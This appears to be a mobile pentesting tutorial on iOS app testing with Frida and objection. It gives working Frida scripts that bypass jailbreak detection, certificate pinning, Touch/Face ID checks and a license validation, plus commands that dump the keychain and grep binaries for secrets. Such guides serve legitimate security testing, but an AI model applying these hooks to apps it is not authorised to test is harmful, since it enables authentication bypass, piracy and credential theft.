iOS Security Testing: Frida, Objection, and Bypassing Jailbreak Detection
iOS security testing requires a different approach to Android — Apple's closed ecosystem means stricter controls, but the dynamic instrumentation primitives are just as powerful. This guide walks through setting up a complete iOS testing environment with Frida and objection, and covers the most impactful attack techniques.
iOS Security Model and Sandboxing
| Test Area | Tool | Technique | Finding Type | Severity |
|---|---|---|---|---|
| Data storage | objection, idb | Inspect NSUserDefaults, Keychain, SQLite, plist files | Cleartext credentials | Critical |
| Network traffic | Burp + cert pinning bypass | MITM proxy, Frida hook NSURLSession | Insecure API calls | High |
| Binary analysis | class-dump, Hopper | Dump Obj-C/Swift class headers | Hardcoded secrets | High |
| Jailbreak detection | Frida + objection | Hook jailbreak check functions | Bypassable security | Medium |
| Cert pinning | objection | ios sslpinning disable | MITM possible | High |
| IPC (URL schemes) | Manual testing | Test deep links: app://action?param=payload | Injection via URL scheme | High |
| Clipboard data | Manual | Copy sensitive data, check pasteboard | Data leakage | Medium |
Understanding iOS's security architecture is essential before attacking it:
- App Sandbox — each app is isolated in its own container at
/var/mobile/Containers/Data/Application/<UUID>/ - Entitlements — capabilities declared in a signed plist (like Android permissions but enforced by the kernel)
- Keychain — system-wide secure storage; data is protected by the device passcode and optionally biometrics
- Data Protection — files can be encrypted at rest with four protection levels from "always accessible" to "complete"
- Code Signing — only signed code runs; on non-jailbroken devices, only Apple-signed distribution builds execute
- Secure Enclave — hardware security module for cryptographic key storage; private keys never leave the enclave
Setting Up Frida on iOS
You need a jailbroken device. Checkra1n (A8–A14 chips) and Palera1n (A9–A16, iOS 15–17) are the most common jailbreaks for testing purposes. Once jailbroken:
# Install Frida via Cydia/Sileo — add the repo:
# https://build.frida.re
# Or install via SSH on device:
apt install re.frida.server
# On your macOS/Linux host, install frida tools:
pip3 install frida-tools objection
# Verify connection over USB
frida-ps -U
# List running apps
frida-ps -Ua
Objection: Frida-Powered Testing CLI
Objection wraps Frida in a user-friendly CLI for common mobile testing tasks:
# Attach to a running app by bundle ID
objection -g com.example.BankingApp explore
# Or spawn the app fresh
objection -g com.example.BankingApp explore --startup-command "ios sslpinning disable"
Key objection commands for iOS:
# Enumerate classes loaded in the app
ios hooking list classes
# List methods of a specific class
ios hooking list methods --class AuthenticationManager
# Watch all calls to a method
ios hooking watch method "-[AuthenticationManager validateToken:]"
# Dump the keychain
ios keychain dump
# List files in the app's Documents directory
ios file ls --target Documents
# Download a file from the device
ios file download /path/to/file.db ./local_copy.db
# Bypass SSL pinning
ios sslpinning disable
# Bypass jailbreak detection
ios jailbreak disable
Jailbreak Detection Bypass
Apps detect jailbreaks by checking for files like /Applications/Cydia.app, testing if they can write outside the sandbox, or checking for suspicious processes. Objection patches these at runtime:
# Quick bypass in objection
ios jailbreak disable
# Custom Frida script for stubborn apps:
var fileManager = ObjC.classes.NSFileManager;
var originalFileExists = fileManager["- fileExistsAtPath:"];
Interceptor.attach(originalFileExists.implementation, {
onEnter: function(args) {
var path = ObjC.Object(args[2]).toString();
if (path.indexOf("Cydia") !== -1 ||
path.indexOf("substrate") !== -1 ||
path.indexOf("jailbreak") !== -1) {
console.log("[JB Bypass] Blocking check for: " + path);
this.blocked = true;
}
},
onLeave: function(retval) {
if (this.blocked) {
retval.replace(0); // return NO (file doesn't exist)
}
}
});
SSL Certificate Pinning Bypass
iOS apps commonly use NSURLSession with a custom delegate for pinning, or third-party libraries like TrustKit and Alamofire. Bypass approaches:
# Objection one-liner (patches NSURLSession, NSURLConnection, Alamofire)
ios sslpinning disable
# SSLKillSwitch2 — Cydia tweak that patches at the OS level
# Install from Cydia: repo https://julioverne.github.io
# Custom Frida hook for SecTrustEvaluate (low-level pinning)
var SecTrustEvaluate = Module.findExportByName("Security",
"SecTrustEvaluate");
Interceptor.replace(SecTrustEvaluate, new NativeCallback(function(trust, result) {
console.log("[*] SecTrustEvaluate hooked — bypassing");
Memory.writeU32(result, 1); // kSecTrustResultUnspecified = proceed
return 0; // errSecSuccess
}, "int", ["pointer", "pointer"]));
Keychain Extraction
The iOS keychain stores passwords, tokens, and cryptographic keys. On a jailbroken device, you can dump all keychain items accessible to the app:
# Inside objection:
ios keychain dump
# Sample output:
# +-----------+-------+--------------------+
# | key | class | value |
# +-----------+-------+--------------------+
# | authToken | genpw | eyJhbGciOi... |
# | pincode | genpw | 1234 |
# | userEmail | genpw | [email protected] |
# +-----------+-------+--------------------+
# Dump with details including accessibility class
ios keychain dump --json
Misconfigured keychain items may use kSecAttrAccessibleAlways — meaning they're readable even when the device is locked. A correctly secured item should use kSecAttrAccessibleWhenUnlockedThisDeviceOnly.
Runtime Method Hooking in Objective-C and Swift
Frida can hook both Objective-C (via ObjC runtime) and Swift methods:
// Hook Objective-C method
var AuthController = ObjC.classes.AuthController;
var verifyBiometrics = AuthController["- verifyBiometricsWithCompletion:"];
Interceptor.attach(verifyBiometrics.implementation, {
onEnter: function(args) {
console.log("[*] verifyBiometrics called");
// Call the completion block with success=true
var block = new ObjC.Block(args[2]);
block.call(true, null);
this.skipOriginal = true;
},
onLeave: function(retval) {}
});
// Hook a Swift method (demangled name from class-dump or nm)
var swiftFunc = Module.findExportByName("TargetApp",
"_TFC9TargetApp11AuthManager14validateLicensefT_Sb");
Interceptor.attach(swiftFunc, {
onLeave: function(retval) {
retval.replace(1); // Return true
}
});
IPA Static Analysis
An IPA is a ZIP archive. Extract it and inspect the binary:
# Extract IPA
unzip target.ipa -d target_extracted
# The binary is in Payload/AppName.app/AppName
cd target_extracted/Payload/TargetApp.app
# Dump Objective-C headers
class-dump -H TargetApp -o headers/
# Search for hardcoded strings
strings TargetApp | grep -i "key\|secret\|token\|password\|api"
# Check for embedded plist files with secrets
find . -name "*.plist" | xargs grep -i "key\|secret\|password"
# Check if the binary is encrypted (App Store protection)
otool -l TargetApp | grep -A4 LC_ENCRYPTION_INFO
# Read Info.plist for permissions and URL schemes
plutil -p Info.plist
Use the Mobile Security Generator to create Frida scripts for common iOS bypass scenarios. For post-exploitation enumeration techniques, the Privilege Escalation Generator covers local escalation paths on compromised systems.
Biometric Bypass
Apps using LocalAuthentication (LAContext evaluatePolicy) for biometric auth can be bypassed at runtime:
var LAContext = ObjC.classes.LAContext;
var evaluatePolicy = LAContext["- evaluatePolicy:localizedReason:reply:"];
Interceptor.attach(evaluatePolicy.implementation, {
onEnter: function(args) {
var replyBlock = new ObjC.Block(args[4]);
var originalImplementation = replyBlock.implementation;
replyBlock.implementation = function(success, error) {
console.log("[*] Biometric bypass: forcing success");
originalImplementation(true, null);
};
}
});
iOS Testing Checklist
- Jailbreak device and install Frida server
- Extract IPA, run strings and class-dump for static analysis
- Check Info.plist for URL schemes, permissions, and ATS exceptions
- Use objection to bypass jailbreak detection and SSL pinning
- Dump keychain items and check accessibility attributes
- Review app container files: SQLite databases, plist caches, logs
- Hook authentication methods to understand and bypass logic
- Intercept decrypted traffic via Burp Suite proxy
- Test URL scheme handlers for open redirect and RCE
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides